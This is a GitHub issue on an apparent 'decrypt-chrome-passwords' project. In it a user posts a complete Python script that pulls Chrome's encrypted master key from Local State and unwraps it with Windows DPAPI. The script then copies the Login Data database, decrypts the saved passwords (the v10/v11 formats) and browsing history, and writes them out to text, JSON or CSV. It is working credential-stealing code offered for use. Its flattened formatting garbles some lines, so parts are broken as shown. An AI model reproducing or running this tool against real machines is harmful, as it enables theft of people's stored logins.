decrypt-chrome-passwords icon indicating copy to clipboard operation
decrypt-chrome-passwords copied to clipboard

Decryption for new chrome failed

Open ghost opened this issue 1 month ago • 0 comments

Here is a new script if you want to add some tweaks script is working as designed: it detects Chrome's new "v20" encryption format, logs a warning for each unsupported password, and provides summary statistics at the end. However, as of now, there is no public method to decrypt Chrome passwords with the v20 prefix—this is a change in Chrome's security model.

--- C#-Style Output Formatting Utilities (from cBrowseUtilis.cs) ---

def format_password_csharp(p): return f"Hostname: {p.get('url','')}\nUsername: {p.get('username','')}\nPassword: {p.get('password','')}\n\n"

--- AES-GCM Decrypt Function (crypt2.cs equivalent) ---

def aes_gcm_decrypt(key, iv, aad, ciphertext, tag): """Decrypt AES-GCM using key, iv, aad, ciphertext, tag (crypt2.cs logic).""" try: cipher = AES.new(key, AES.MODE_GCM, nonce=iv) if aad: cipher.update(aad) decrypted = cipher.decrypt_and_verify(ciphertext, tag) return decrypted except Exception as e: logging.error(f"AES-GCM decryption (crypt2.cs) failed: {e}") return None import os import re import sys import json import csv import sqlite3 import argparse import logging import shutil import base64 import time import subprocess import signal import getpass import requests import websocket from pathlib import Path from datetime import datetime, timedelta from collections import defaultdict from concurrent.futures import ThreadPoolExecutor, as_completed

--- Dependency Check and Setup ---

try: from tqdm import tqdm except ImportError: def tqdm(iterable, *args, **kwargs): print("Warning: 'tqdm' not found. For a progress bar, run: pip install tqdm", file=sys.stderr) return iterable

try: if sys.platform == 'win32': import win32crypt try: from Crypto.Cipher import AES # For pycryptodome or pycrypto except ImportError: print("Warning: 'pycryptodome' is required for cookie decryption. Please install it by running: pip install pycryptodome", file=sys.stderr) AES = None except ImportError: if sys.platform == 'win32': print("Warning: 'pycryptodomex' and 'pywin32' are required on Windows for cookie decryption.", file=sys.stderr) print("Please install them by running: pip install pycryptodomex pywin32", file=sys.stderr)

--- Configuration ---

EMAIL_REGEX = re.compile(r"(?i)[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,}") MAX_FILE_SIZE = 15 * 1024 * 1024 # 15MB LOG_FORMAT = '%(asctime)s - %(levelname)s - [%(threadName)s] - %(message)s' logging.basicConfig(level=logging.INFO, format=LOG_FORMAT, stream=sys.stderr)

--- Browser & System Specific Paths ---

def get_browser_paths(): """Returns a dictionary of browser user data paths based on the OS.""" home = Path.home() appdata = Path(os.environ.get('APPDATA', home / 'AppData/Roaming')) local_appdata = Path(os.environ.get('LOCALAPPDATA', home / 'AppData/Local'))

paths = {
    'chrome': {
        'win32': local_appdata / 'Google/Chrome/User Data',
        'linux': home / '.config/google-chrome',
        'darwin': home / 'Library/Application Support/Google/Chrome'
    },
    'edge': {
        'win32': local_appdata / 'Microsoft/Edge/User Data',
        'linux': home / '.config/microsoft-edge',
        'darwin': home / 'Library/Application Support/Microsoft Edge'
    },
    'firefox': {
        'win32': appdata / 'Mozilla/Firefox/Profiles',
        'linux': home / '.mozilla/firefox',
        'darwin': home / 'Library/Application Support/Firefox/Profiles'
    }
}
return {k: v.get(sys.platform) for k, v in paths.items()}

--- Decryption Functions (Windows Only) ---

def get_master_key(browser_path: Path): """Retrieves the AES master key for Chrome/Edge decryption on Windows.""" if sys.platform != 'win32': return None local_state_path = browser_path / 'Local State' logging.info(f"Looking for Local State at: {local_state_path}") if not local_state_path.exists(): logging.error(f"Local State file not found at: {local_state_path}") return None try: with open(local_state_path, 'r', encoding='utf-8') as f: state = json.load(f) encrypted_key = state['os_crypt']['encrypted_key'] key = base64.b64decode(encrypted_key)[5:] master_key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] logging.info("Master key successfully retrieved and decrypted.") return master_key except Exception as e: logging.error(f"Failed to get master key for {browser_path.name}: {e}") return None

def decrypt_value(value, master_key): """Decrypts a value using the master key on Windows.""" if sys.platform != 'win32' or not master_key: logging.error("Decryption not supported: platform is not win32 or master key is missing.") return "Decryption not supported" # Ensure value is bytes if value is None: logging.warning("Encrypted value is None.") return "" if isinstance(value, memoryview): value = value.tobytes() elif not isinstance(value, bytes): try: value = bytes(value) except Exception: logging.error(f"Encrypted value is not bytes-like: {type(value)}") return "" if not value: logging.warning("Encrypted value is empty.") return "" # Log first 16 bytes and length for debugging logging.debug(f"Decrypting value: type={type(value)}, len={len(value)}, head={value[:16].hex() if isinstance(value, bytes) else str(value)[:16]}") try: # Log the prefix for every encrypted value prefix = value[:3] logging.info(f"Chrome encrypted value prefix: {prefix!r} (hex: {prefix.hex()}) head={value[:16].hex()} len={len(value)}") # Chromium AES-GCM: [v10|v11][12 bytes IV][ciphertext][16 bytes tag] if prefix in (b'v10', b'v11'): if len(value) < 3+12+16: logging.error(f"Encrypted value too short for AES-GCM: len={len(value)}, head={value[:16].hex()}") return "" iv = value[3:15] ciphertext_tag = value[15:] if len(ciphertext_tag) < 16: logging.error(f"Ciphertext too short for tag split: len={len(ciphertext_tag)}, head={ciphertext_tag[:16].hex()}") return "" ciphertext = ciphertext_tag[:-16] tag = ciphertext_tag[-16:] decrypted = aes_gcm_decrypt(master_key, iv, None, ciphertext, tag) if decrypted is not None: return decrypted.decode('utf-8', errors='replace') else: logging.error(f"crypt2.cs AES-GCM decryption failed: iv={iv.hex()}, tag={tag.hex()}, ciphertext_head={ciphertext[:16].hex()}, prefix={prefix}") return "Could not decrypt" else: # Log unknown prefix for debugging logging.warning(f"Unknown Chrome encrypted value prefix: {prefix!r}, head={value[:16].hex()}, len={len(value)}. Trying DPAPI fallback.") decrypted = win32crypt.CryptUnprotectData(value, None, None, None, 0)[1].decode('utf-8', errors='replace') return decrypted except Exception as e1: logging.warning(f"AES-GCM/DPAPI decryption failed: {e1}. head={value[:16].hex() if isinstance(value, bytes) else str(value)[:16]}") try: decrypted = win32crypt.CryptUnprotectData(value, None, None, None, 0)[1].decode('utf-8', errors='replace') return decrypted except Exception as e2: logging.error(f"DPAPI decryption also failed: {e2}. head={value[:16].hex() if isinstance(value, bytes) else str(value)[:16]}") return "Could not decrypt"

--- Timestamp & Path Helpers ---

def chrome_time_to_datetime(timestamp): if timestamp > 0: try: return str(datetime(1601, 1, 1) + timedelta(microseconds=timestamp)) except OverflowError: return "Never" return "N/A"

def find_sqlite_files(path: Path, pattern: str): """Finds all SQLite files matching a pattern in a directory.""" if path and path.exists(): return list(path.glob(pattern)) return []

--- Artifact Extraction Functions ---

def extract_from_db(db_path: Path, query: str, browser_info: dict, decrypt_fn=None, master_key=None): """Generic function to extract data from a SQLite database.""" results = [] temp_db = Path(f"./temp_{db_path.name}_{os.getpid()}.db") try: shutil.copy2(db_path, temp_db) conn = sqlite3.connect(f'file:{temp_db}?mode=ro', uri=True) cursor = conn.cursor() cursor.execute(query) for row in cursor.fetchall(): row_dict = {desc[0]: val for desc, val in zip(cursor.description, row)} if decrypt_fn and 'encrypted_value' in row_dict: row_dict['value'] = decrypt_fn(row_dict.pop('encrypted_value'), master_key) row_dict.update(browser_info) results.append(row_dict) conn.close() except PermissionError as e: logging.error(f"PermissionError: Could not access {db_path.name} for {browser_info['browser']} ({browser_info['profile']}). This file is likely locked by the browser. Please close the browser and try again. Details: {e}") except sqlite3.Error as e: logging.warning(f"Could not read from {db_path.name} for {browser_info['browser']} ({browser_info['profile']}): {e}") finally: if temp_db.exists(): os.remove(temp_db) return results

--- Chrome DevTools Protocol Cookie Extraction (for new Chrome) ---

def process_browser_profile(profile_path: Path, browser_name: str, tasks: list, decrypt: bool): """Extracts artifacts from a single browser profile.""" profile_name = profile_path.name logging.info(f"Scanning {browser_name.title()} profile: {profile_name}") master_key = get_master_key(profile_path.parent) if decrypt else None results = defaultdict(list) browser_info = {'browser': browser_name, 'profile': profile_name}

# Password extraction (new feature)
if 'passwords' in tasks:
    login_db = profile_path / 'Login Data'
    if login_db.exists() and browser_name == 'chrome' and profile_name == 'Default':
        logging.info("Extracting Chrome saved passwords from Login Data...")
        query = "SELECT origin_url, username_value, password_value FROM logins"
        temp_db = Path(f"./temp_{login_db.name}_{os.getpid()}.db")
        total_passwords = 0
        unique_sites = set()
        unsupported_count = 0
        try:
            shutil.copy2(login_db, temp_db)
            conn = sqlite3.connect(f'file:{temp_db}?mode=ro', uri=True)
            cursor = conn.cursor()
            cursor.execute(query)
            for row in cursor.fetchall():
                url, username, encrypted_password = row
                password = None
                # Try decrypting password (if possible)
                if decrypt and encrypted_password:
                    try:
                        # Detect unsupported encryption
                        prefix = encrypted_password[:3]
                        if prefix not in (b'v10', b'v11'):
                            logging.warning(f"Unsupported Chrome encryption format: prefix={prefix!r} hex={prefix.hex()} (only v10/v11 supported). Password will not be decrypted.")
                            password = '[UNSUPPORTED ENCRYPTION]'
                            unsupported_count += 1
                        else:
                            password = decrypt_value(encrypted_password, get_master_key(profile_path.parent))
                    except Exception:
                        password = None
                # Fallback: try plaintext
                if not password and encrypted_password:
                    try:
                        password = encrypted_password.decode('utf-8', errors='ignore')
                    except Exception:
                        password = ''
                results['passwords'].append({
                    'url': url,
                    'username': username,
                    'password': password,
                    'browser': browser_name,
                    'profile': profile_name
                })
                total_passwords += 1
                unique_sites.add(url)
            conn.close()
            logging.info(f"Summary: {total_passwords} passwords found, {len(unique_sites)} unique sites.")
            if unsupported_count > 0:
                logging.warning(f"{unsupported_count} password(s) could not be decrypted due to unsupported encryption format.")
        except Exception as ex:
            logging.error(f"Failed to extract passwords: {ex}")
        finally:
            if temp_db.exists():
                os.remove(temp_db)

if 'history' in tasks:
    history_db = profile_path / 'History'
    if history_db.exists():
        query = "SELECT url, title, visit_count, last_visit_time FROM urls"
        history = extract_from_db(history_db, query, browser_info)
        for h in history: h['last_visit_time'] = chrome_time_to_datetime(h['last_visit_time'])
        results['history'].extend(history)
        
return results

--- Main Application Logic ---

def save_results(data: dict, output_path: Path, output_format: str): """Saves all extracted data to a file.""" logging.info(f"Saving results for tasks: {', '.join(data.keys())} to {output_path}") try: with output_path.open('w', encoding='utf-8', newline='') as f: if output_format == 'json': json.dump(data, f, indent=4) elif output_format == 'csv': # For CSV, write each task's data to a separate file base, _ = os.path.splitext(output_path) for task, items in data.items(): if not items: continue task_path = Path(f"{base}_{task}.csv") with task_path.open('w', encoding='utf-8', newline='') as task_f: writer = csv.DictWriter(task_f, fieldnames=items[0].keys()) writer.writeheader() writer.writerows(items) logging.info(f"Saved {task} data to {task_path}") else: # TXT format for task, items in data.items(): f.write(f"--- {task.upper()} ---\n\n") if not items: f.write("No items found for this task.\n\n") continue for item in items: for key, val in item.items(): f.write(f"{str(key).title():<18}: {val}\n") f.write("-" * 40 + "\n") f.write("\n") logging.info("Results successfully saved.") except IOError as e: logging.critical(f"Fatal: Error writing to output file: {e}")

def main():

parser = argparse.ArgumentParser(
    description='A tool to extract browser passwords.',
    epilog='Example: python %(prog)s --output report.json --format json'
)
parser.add_argument('--output', type=Path, required=True, help='Output file path. For CSV, this is a base name.')
parser.add_argument('--format', choices=['txt', 'json', 'csv'], default='txt', help='Output format for results.')
parser.add_argument('--csharp-output', action='store_true', help='Also write C#-style output files for each artifact type.')
parser.add_argument('--no-decrypt', action='store_true', help='Disable password value decryption.')

args = parser.parse_args()

master_results = defaultdict(list)
browser_tasks = ['passwords']

# Only process Chrome, skip Edge and others
logging.info(f"--- Starting Browser Tasks: passwords ---")
browser_paths = get_browser_paths()
# Only process Chrome
chrome_path = browser_paths.get('chrome')
if chrome_path and chrome_path.exists():
    profile_paths = find_sqlite_files(chrome_path, '*/History')
    profile_dirs = {p.parent for p in profile_paths}
    if not profile_dirs:
        profile_dirs.add(chrome_path / 'Default')

    for profile_dir in profile_dirs:
        if profile_dir.exists():
            profile_results = process_browser_profile(profile_dir, 'chrome', browser_tasks, not args.no_decrypt)
            for task, items in profile_results.items():
                master_results[task].extend(items)

if any(master_results.values()):
    save_results(master_results, args.output, args.format)
    # C#-style output is no longer supported.
else:
    logging.warning("Scan complete. No data was extracted for the specified tasks.")

logging.info("All tasks finished.")

if name == "main": main()

ghost avatar Sep 30 '25 19:09 ghost